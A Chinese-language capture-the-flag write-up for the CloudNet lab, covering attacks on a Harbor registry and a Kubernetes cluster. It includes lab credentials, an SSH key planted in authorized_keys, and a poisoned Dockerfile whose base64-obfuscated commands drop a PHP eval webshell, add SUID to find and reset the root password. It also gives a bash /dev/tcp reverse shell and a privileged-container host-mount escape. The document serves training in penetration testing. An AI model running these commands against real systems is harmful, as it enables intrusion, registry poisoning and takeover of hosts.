{"auths":{"172.22.18.64":{"username":"admin","password":"password@nk9DLwqce","auth":"YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"}}}
Harbor私有仓库镜像拉取
登录之后就可以看到原本看不到的私有镜像仓库了
拉取hospital/flag镜像
我直接用之前的Minio:172.22.18.29,去拉去hospital/flag镜像
拉之前要先用该账密登录一下docker
进去拿到第七个flag
1
docker run -d --name flag-box 172.22.18.64/hospital/flag:latest
1
docker exec -it flag-box bash
flag8(Harbor镜像同步)
接着看hospital:system镜像日志,可以看到admin每隔一段时间就会拉取该镜像
回到master节点那台宿主机,写个公钥
1
echo -e "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxDUYy6bN2mT1oKkkpyyiw0aDUOcGtIXzHaUZLDEBDvhnv/nMxIGmo4OnkcMyMu+QqGXm+ldKUh6ebL4UYY2l6/pMX0soOIe2B6/D1XyaShFjXfRULsLm1bJmSfIvgpLBNWkFGv7HBjCrcRm4Jpag3bybgaEcBCWKTobMe5T36dSiCGgql/DBNigbxnLJFTRLXI2WTSkpu/Lx+jf+32s6kQG0eD5CcE/PRk9BNRVSBAW6zu8RqK8LVgy85avGBSUpgeNBHwA2BLnvWmgckxVzxWRFPzUS+gj4r5g/hzBxeSPM+2CY8JGFGH/ZcJ9hXRNfJgMVDEnFVtQcC6AMOGUoOYRvK85N0uo+JUY00TxqqJUKF04ixSKWwyy0Y9yflnfPA8z6xMaQWJk6ROFMqbD3vG3CmjSVwPqx2S5HeTBiE4uhKJlpiLXtCbigG6tBF/9Iuqntp8B/mYgaOlsRbETeoUXMQTs7GN4oGCwOr/t47AQ2kUVrw/KSi1PWF/rjJDvo70H07c49QI6KtSYIarWGTy1j0koGgjio3dSnoEJaFKvWm6Icz1c3H/7B1eceAmES9yMPMgeLR/pnqDBRJpAak8WNRSRxvk9jZ3e3QVsZiS70BoW9VBoGKSNGAgmUC/xn0Su3XkuNrXNqUKcgu1+eJALOZ83SO6RURg3zt+hx5tw== kali@kali\n\n" >> /admin222/root/.ssh/authorized_keys
可以看到内网ip172.22.50.75,传fscan扫一下新网段,在172.22.50.45机器有web服务
将hospital/system镜像pull到本地
1
docker pull 172.22.18.64/hospital/system:latest
发现该镜像也有web服务,对比发现该镜像跟172.22.50.45机器的web服务都有p.php文件,因此基本说明admin用户就是定时将镜像给pull到这台机器上
接着创建恶意Dockerfile文件,主要做了三个步骤
- 在web目录写webshell
- 给find文件添加suid权限
- 将root用户密码改为
password
1
2
3
4
5
FROM 172.22.18.64/hospital/system
RUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash
ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"]
在Minio的机子上将该Dockerfile文件制作成镜像,并push到docker,等待20分钟一轮的拉取
1
2
docker build -t 172.22.18.64/hospital/system .
docker push 172.22.18.64/hospital/system
因为su需要交互环境,(需要先反弹shell)
所以蚁剑连接,在tmp目录下新建一个sh脚本,内容是弹一个shell到master节点宿主机
shell.sh
1
2
#!/bin/sh
bash -c "/bin/bash -i >& /dev/tcp/172.22.15.75/4567 0>&1"
执行前记得先在master节点宿主机开启监听,那台机没有nc,需要上传一个
1
/usr/bin/find ./ -exec ./shell.sh \;
反弹成功后,用su命令切换用户
此时提权到root权限,利用privileged提权逃逸,拿到该宿主机上的最后一个flag
1
2
3
4
5
6
7
8
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
cat /proc/self/status | grep CapEff
# 0000003fffffffff 或是 0000001fffffffff
df -h
mkdir /hunsil
mount /dev/vda3 /hunsil
cat /hunsil/flag.txt
拓扑图:
截取S1mh0师傅的图
socks代理:
172.22.18.23–>172.22.18.61–>172.22.50.75
拓展:
flag4& flag5 & flag6:
Pod
Pod 是 Kubernetes (K8s) 最小、最基础调度单元。
K8s 不会直接管理 Docker/containerd 容器,所有容器必须包裹在 Pod 里调度、启停、扩缩容。
1
2
3
唯一 IP 机制(关键)
**一个 Pod 只会分配一个集群内网 IP**,Pod 内所有容器共用这个 IP。 Pod 内容器之间互相访问直接用 通信,不需要走外网。
1
2
3
4
共享存储卷
Pod 定义挂载目录,内部所有容器都能读写同一份文件。
在场景里:
容器自动挂载 /var/run/secrets/kubernetes.io/serviceaccount/ 存放 SA Token,Pod 内所有程序都能读取这个凭证。
1
2
3
4
5
6
Pod vs 容器
容器是程序运行载体;Pod 是 K8s 的包装调度层,容器不能脱离 Pod 独立存在。
Pod vs Node(节点)
Node 是真实物理机 / 虚拟机;Node 上可以运行成百上千个 Pod。
Pod vs Deployment
Deployment 是控制器,负责批量创建、重启、扩容 Pod;Pod 是被管理的最小单元。
最简命令实操
1
2
3
4
5
6
7
8
# 查看当前集群所有Pod
kubectl get pods
# 进入Pod内部交互式shell(拿到容器权限)
kubectl exec -it 目标Pod名称 -- /bin/bash
# 查看Pod内SA Token(渗透核心操作)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Kubernetes ServiceAccount(SA)Token
ServiceAccount (SA)是 K8s 内部给 Pod 用的身份账号,区别于集群管理员用户 (User):
- User:给人使用(kubeconfig、证书登录集群)
- ServiceAccount:给程序 / Pod 使用,Pod 内部访问 K8s APIServer 的身份凭证
每个命名空间默认自带 default 这个 SA,不手动指定 SA 的 Pod 会自动挂载 default SA 的 Token。
SA Token = 绑定 ServiceAccount 的 JWT 身份令牌 作用:Pod 内进程调用 K8s API(查 Pod、创建资源、获取配置、鉴权)时,用来证明自己的身份,APIServer 通过 RBAC 判断该 SA 有无对应操作权限。
高权限 SA 可实现:
- 查看集群所有 Pod、Secret、ConfigMap(窃取数据库密码、MinIO/Harbor 密钥)
- 创建 / 删除 Pod,启动恶意容器挂载宿主机目录逃逸
- 获取集群节点权限,横向渗透宿主机、内网服务
Kubernetes Dashboard
K8s 官方 Web 可视化管理面板,替代命令行 kubectl,网页点一点就能管理集群资源。
功能:网页可视化查看 / 创建 / 删除 Pod、Deployment、Service、Secret、RBAC、节点等所有集群资源;
登录鉴权两种主流方式:
- 方式 1:绑定高权限 ServiceAccount 的 Token 登录(攻防最常见)
- 方式 2:kubeconfig 用户证书登录(管理员账号)
1
2
3
4
5
Pod = 装 Dashboard 网页程序的虚拟机房间
SA = 这个房间里程序的门禁卡(Token),卡上写了能查看 / 修改哪些集群资源
Dashboard = 你通过浏览器访问这个房间里的可视化管理系统
1
2
3
Dashboard 和 Pod 的关系:
Dashboard 是运行在 Pod 中的应用,官方部署清单会创建 kubernetes-dashboard命名空间,启动 1 个 Dashboard Pod;集群所有面板请求都由这个 Pod 处理。
1
2
3
Dashboard 权限完全由绑定的 SA 决定
新建 Dashboard 时默认 SA 权限极低,只能查看自身资源,无法管理集群;
运维会手动创建高权限 SA(cluster-admin 集群管理员权限),绑定给 Dashboard,再用该 SA 的 Token 登录网页,获得全集群操作权限。
K8s 的节点
Node 就是 Kubernetes 集群里的工作节点(服务器)
整个 K8s 集群分为两类节点:
- Master(控制节点):
172.22.15.75,管控集群、调度 Pod、提供 apiserver; - Node(工作节点):Node1、Node2,真正运行业务容器 Pod 的机器。
Master 和 Node1 的区别(图内对照)
| 节点 | 角色 | 作用 | 图中 IP |
|---|---|---|---|
| Master | 控制平面 | 集群管理、下发调度指令、存储集群配置、Dashboard、RBAC 鉴权 | 172.22.15.75 |
| Node1 | 工作节点 | 运行业务 Pod(极致 cms 网站容器)、承载业务流量 | 172.22.15.45 |
简单记:Master 是 “机房管理员”,只负责调度;Node1/Node2 是 “业务服务器”,真正跑网站、数据库容器。
参考文章
https://www.s1mh0.cn/blog/index.php/2025/05/31/cqyj_cloudnet
| [春秋云境 CloudNet | 初零·b10g~🥝](https://bowuchuling.github.io/posts/chunqiu_CloudNet.html) |






























